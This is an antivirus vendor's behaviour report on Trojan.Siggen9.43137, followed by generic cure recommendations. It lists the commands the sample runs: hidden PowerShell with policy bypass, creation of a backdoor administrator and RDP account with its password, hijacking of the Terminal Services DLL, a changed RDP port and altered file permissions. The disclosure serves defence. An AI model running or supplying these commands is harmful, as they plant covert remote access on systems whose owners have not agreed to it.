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Trojan.Siggen9.43137
Added to the Dr.Web virus database:
2020-04-29
Virus description added:
2020-05-03
Technical Information
To ensure autorun and distribution
Creates the following services
[<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\branding\mediasrv.png'
[<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Modifies file system
Creates the following files
%TEMP%\nsca437.tmp\blowfish.dll
%TEMP%\nsca437.tmp\system.dll
%TEMP%\kb281725.msi
%TEMP%\uninst.dat.log
%TEMP%\nsca437.tmp\nsunzip.dll
%TEMP%\reactor.log.ps1
%TEMP%\start.vbs
%WINDIR%\branding\mediasrv.png
%WINDIR%\branding\mediasvc.png
%WINDIR%\branding\wupsvc.jpg
<SYSTEM32>\rfxvmt.dll
%WINDIR%\temp\usrnm.txt
<SYSTEM32>\microsoft\protect\s-1-5-20\0e42632e-70c4-4089-89e7-01558cd553b3
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
%TEMP%\nsca437.tmp\blowfish.dll
%TEMP%\nsca437.tmp\nsunzip.dll
%TEMP%\nsca437.tmp\system.dll
Deletes itself.
Miscellaneous
Creates and executes the following
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\reactor.log.ps1
'<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\reactor.log.ps1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc OkjBOqcJ /add' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" oyogbe$ /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc OkjBOqcJ' (with hidden window)
Executes the following
'<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\reactor.log.ps1
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
'<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
'<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc OkjBOqcJ /add
'<SYSTEM32>\net.exe' user WgaUtilAcc OkjBOqcJ /add
'<SYSTEM32>\net1.exe' user WgaUtilAcc OkjBOqcJ /add
'<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
'<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' user WgaUtilAcc OkjBOqcJ
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" oyogbe$ /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" oyogbe$ /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" oyogbe$ /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc OkjBOqcJ
'<SYSTEM32>\net1.exe' start TermService
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' start TermService
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
'<SYSTEM32>\timeout.exe' -t 15
'<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
'<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
'<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
'<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
'<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
'<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\mediasrv.png /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
'<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
'<SYSTEM32>\cmd.exe' /c net start rdpdr
'<SYSTEM32>\net.exe' start rdpdr
'<SYSTEM32>\net1.exe' start rdpdr
'<SYSTEM32>\cmd.exe' /c net start TermService
'<SYSTEM32>\net1.exe' user WgaUtilAcc OkjBOqcJ
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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